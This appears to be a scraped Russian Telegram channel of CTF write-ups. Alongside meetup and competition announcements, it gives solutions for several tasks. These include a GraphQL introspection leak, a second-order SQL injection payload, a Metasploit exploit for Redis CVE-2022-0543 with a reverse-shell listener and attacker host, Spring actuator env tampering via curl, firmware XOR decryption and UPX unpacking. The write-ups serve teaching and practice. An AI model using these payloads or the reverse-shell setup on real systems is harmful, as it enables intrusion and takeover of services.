💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE.
29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG Cable.
В плейлисте три доклада:
🔹 Егор Зайцев (@pro_pentest) — «Физический пентест: от OSINT до полной компрометации компании»
🔹 Андрей Зенин (Бастион) — «Физический пентест: этапы, практика и реальные кейсы»
🔹 Александр Хабибуллин (CyberOK) — «O.MG Cable: доверие к USB обернулось атакой»
Если интересен реальный физический редтимминг, социальная инженерия и практические кейсы с полей — залетай смотреть.
👉 Плейлист тут:
https://rutube.ru/plst/1456882/
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG Cable.
В плейлисте три доклада:
🔹 Егор Зайцев (@pro_pentest) — «Физический пентест: от OSINT до полной компрометации компании»
🔹 Андрей Зенин (Бастион) — «Физический пентест: этапы, практика и реальные кейсы»
🔹 Александр Хабибуллин (CyberOK) — «O.MG Cable: доверие к USB обернулось атакой»
Если интересен реальный физический редтимминг, социальная инженерия и практические кейсы с полей — залетай смотреть.
👉 Плейлист тут:
https://rutube.ru/plst/1456882/
Please open Telegram to view this post
VIEW IN TELEGRAM
RUTUBE
Физический пентест: кейсы, инструменты, практика 29.01.2026 – смотреть плейлист, все 3 видео подборки от "Райтапы по CTF{2026}"…
Физический пентест: кейсы, инструменты, практика 29.01.2026 подготовил для Вас 3 видеороликов - смотри онлайн бесплатно!
❤20
А еще, райтапы от организаторов будут в нашем канале сразу после мероприятия...
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
DUCKERZ
🚩 DUCKERZ CTF
Зима в самом разгаре, а значит настало время для DUCKERZ CTF, онлайн соревнования по информационной безопасности от нашей команды.
🐥Формат task-based
🐥Команды до 5 человек
🐥С 12:00 7 февраля по 12:00 8 февраля (МСК)
Участвовать могут все…
Зима в самом разгаре, а значит настало время для DUCKERZ CTF, онлайн соревнования по информационной безопасности от нашей команды.
🐥Формат task-based
🐥Команды до 5 человек
🐥С 12:00 7 февраля по 12:00 8 февраля (МСК)
Участвовать могут все…
❤14🔥7 6
Райтапы по CTF{2026}
💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE. 29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG…
Друзья, я знаю, что вам не хватило времени задать свои вопросы Егору, и именно поэтому мы решили провести СТРИМ-поскриптум, где ответим на всё, что вас интересует!
Форма, куда можно отправить свой вопрос:
https://forms.yandex.ru/u/6984a1da90fa7b1a56545f8c/
На всякий случай — запись доклада для тех, кто ещё не посмотрел:
https://rutube.ru/video/a54900346f6b71186397e2e232839c18/
Стрим проведём 13 февраля — включайте уведомления, чтобы не пропустить!
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Форма, куда можно отправить свой вопрос:
https://forms.yandex.ru/u/6984a1da90fa7b1a56545f8c/
На всякий случай — запись доклада для тех, кто ещё не посмотрел:
https://rutube.ru/video/a54900346f6b71186397e2e232839c18/
Стрим проведём 13 февраля — включайте уведомления, чтобы не пропустить!
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤14 5 3
Forwarded from InfoSec VK Hub
Всем привет!
А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
Проверим включена ли introspection:
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
Выберем любой адрес и передадим его в checkAirdrop:
Опционально можно было использовать адрес администратора из admin query:
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.
Предыдущие разборы серии:
1 часть
2 часть
3 часть
VK Security | Буст этому каналу
#разбор #CTF
А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
category: web, points: 400
Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен!
Достаньте любой eligible-адрес и заберите флаг
После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.
Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }
Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } }
И получим флаг:
{
"data": {
"checkAirdrop": {
"address": "0x8ba1f109551bD432803012645aac136c22C19e00",
"tokensClaimed": 3000,
"airdropEligible": true,
"flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"
}
}
}
Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.
Предыдущие разборы серии:
1 часть
2 часть
3 часть
VK Security | Буст этому каналу
#разбор #CTF
❤9 4
Forwarded from DUCKERZ
Соревнование DUCKERZ CTF 2026 официально началось! Желаем всем участникам удачи и успешного решения задач.
Please open Telegram to view this post
VIEW IN TELEGRAM
DUCKERZ
Всем привет! Живы? Я не очень, Дакерзы заставили попотеть
Как обычно, жду ваши райтапы после соревнования! @freenameruuuu
Мы обязательно выживем🪢
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Как обычно, жду ваши райтапы после соревнования! @freenameruuuu
Мы обязательно выживем
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Web
🏥 Клиника [клик]
Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.
Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса.
В результате SQL-запрос изменит пароль не нам, а администратору:
Заходим под admin с новым паролем и забираем флаг в панели управления.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
🏥 Клиника [клик]
Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.
Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
admin' --
После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса.
В результате SQL-запрос изменит пароль не нам, а администратору:
UPDATE users SET password = '[hash]' WHERE username = 'admin' --'
Заходим под admin с новым паролем и забираем флаг в панели управления.
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Misc
Редиска [клик]
Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (
Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
На сервере с белым IP открываем listener на 4444 порту
Получаем rev-shell на тачке с Redis. Флаг находится в корне
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Редиска [клик]
Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (
requirepass пустой), что позволяет любому пользователю отправлять команды без аутентификации, но флага там нет.Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
На сервере с белым IP открываем listener на 4444 порту
nc -lvnp 4444
set RHOSTS 94.19.79.169
set RPORT 20004
unset PASSWORD
set LHOST 45.140.19.200
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set ForceExploit true
Получаем rev-shell на тачке с Redis. Флаг находится в корне
cat ../../flag.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Hardware
Заброшенный маяк [клик]
Открываем firmware.elf в IDA Pro. В окне Functions видим:
В окне Structures видим сегменты:
Исследование функции decrypt_flag:
Ключевые моменты:
- Чтение из EEPROM
- Операция XOR (eor инструкция)
- Ключ длиной 5 байт (делитель = 5)
Переходим к сегменту .data (адрес 0x800100):
Переходим к сегменту .eeprom (адрес 0x810000):
Написание скрипта для расшифровки:
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Заброшенный маяк [клик]
Открываем firmware.elf в IDA Pro. В окне Functions видим:
decrypt_flag (0x4B) — ключевая функция.
main (0x7D) — основная программа
eeprom_read_byte (0xDC) — чтение из EEPROM
В окне Structures видим сегменты:
.text — код программы
.data — данные (адрес 0x800100)
.eeprom — EEPROM данные (адрес 0x810000)
Исследование функции decrypt_flag:
.text:0000004B decrypt_flag: ; CODE XREF: main+F↓p
.text:0000004B push r12
.text:0000004C push r13
.text:0000004D push r14
.text:0000004E push r15
.text:0000004F push r16
.text:00000050 push r17
.text:00000051 push YL
.text:00000052 push YH
.text:00000053 movw r12:r13, r24:r25
.text:00000054 movw r16:r17, r24:r25
.text:00000055 ldi YL, 0
.text:00000056 ldi YH, 0
.text:00000057 mov r0, ZH
.text:00000058 ldi ZH, 5
.text:00000059 mov r14, ZH
.text:0000005A mov r15, r1
.text:0000005B mov ZH, r0
.text:0000005C
.text:0000005C loc_5C: ; CODE XREF: decrypt_flag+26↓j
.text:0000005C movw r24:r25, Y
.text:0000005D subi r24, 0
.text:0000005E sbci r25, 0
.text:0000005F call eeprom_read_byte
.text:00000061 mov r18, r24
.text:00000062 movw r24:r25, Y
.text:00000063 movw r22:r23, r14:r15
.text:00000064 call _div
.text:00000066 movw Z, r24:r25
.text:00000067 subi ZL, 0
.text:00000068 sbci ZH, -1
.text:00000069 ld r24, Z
.text:0000006A eor r24, r18
.text:0000006B movw Z, r16:r17
.text:0000006C st Z+, r24
.text:0000006D movw r16:r17, Z
.text:0000006E adiw Y, 1
.text:0000006F cpi YL, 0x1F
.text:00000070 cpc YH, r1
.text:00000071 brne loc_5C
.text:00000072 movw Z, r12:r13
.text:00000073 std Z+0x1F, r1
.text:00000074 pop YH
.text:00000075 pop YL
.text:00000076 pop r17
.text:00000077 pop r16
.text:00000078 pop r15
.text:00000079 pop r14
.text:0000007A pop r13
.text:0000007B pop r12
.text:0000007C ret
.text:0000007C ; End of function decrypt_flag
Ключевые моменты:
- Чтение из EEPROM
- Операция XOR (eor инструкция)
- Ключ длиной 5 байт (делитель = 5)
Переходим к сегменту .data (адрес 0x800100):
.data:00800100 xor_key: .db 0x37, 0x42, 0x15, 0x7A, 0x2F ;
Переходим к сегменту .eeprom (адрес 0x810000):
.eeprom:00810000 encrypted_flag: .db 0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E, 0x3F
.eeprom:00810009 .db 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44, 0x31, 0x25
.eeprom:00810012 .db 8, 0x4A, 0x13, 0x1D, 0x22, 0x12, 0x6A, 0x68, 4, 0x79
.eeprom:0081001C .db 0x4E, 0x44, 0x4A, 0
Написание скрипта для расшифровки:
encrypted = bytes([
0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E,
0x3F, 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44,
0x31, 0x25, 0x08, 0x4A, 0x13, 0x1D, 0x22, 0x12,
0x6A, 0x68, 0x04, 0x79, 0x4E, 0x44, 0x4A, 0x00
])
key = [0x37, 0x42, 0x15, 0x7A, 0x2F]
flag = ""
for i in range(31):
flag += chr(encrypted[i] ^ key[i % 5])
print(f"Flag: {flag}")
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
#duckerzctf2026 #Forensics
💿 Врум-врум отменяется [клик]
Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову.
Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value).
Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову.
Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value).
Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
strings VroomVroom.pcapng | grep flag | awk -F'=' '{ print $3 }' | awk -F'&' '{ print $1 }' | tr -d '\n'Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3
#duckerzctf2026 #Web
🎫 Национальная лотерея [клик]
Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно.
С помощью инструмента dirsearch можно найти открытый actuator.
Замечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает:
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно.
С помощью инструмента dirsearch можно найти открытый actuator.
dirsearch -u "http://94.19.79.169:20001" -x 404
[03:17:49] 200 - 2KB - /actuator
[03:17:49] 200 - 5KB - /actuator/env
[03:17:49] 200 - 49B - /actuator/health
[03:17:49] 200 - 2B - /actuator/info
[03:17:49] 200 - 17KB - /actuator/configprops
[03:17:49] 200 - 2KB - /actuator/metrics
[03:17:49] 200 - 86KB - /actuator/conditions
[03:17:49] 200 - 54B - /actuator/scheduledtasks
[03:17:49] 200 - 21KB - /actuator/mappings
[03:17:49] 200 - 126KB - /actuator/beans
[03:17:49] 200 - 53KB - /actuator/loggers
[03:17:49] 200 - 124KB - /actuator/threaddump
Замечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает:
Allow: GET, POST, OPTIONS. Это означает, что можно не только читать переменные окружения, но и изменять их.curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"test.property","value":"test123"}'
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"lottery.winning.ticket","value":"ticket-c79b6292"}'
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
#duckerzctf2026 #Reverse
💎 Кристально ясное задание [клик]
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
После этого запустим программу дальше и посмотрим что произошло.
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: cc: CantUnpackException: l_info corrupted
Unpacked 1 file: 0 ok, 1 error.
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
589112 <- 192360 32.65% linux/amd64 cc
Unpacked 1 file
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993aПо коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))После этого запустим программу дальше и посмотрим что произошло.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15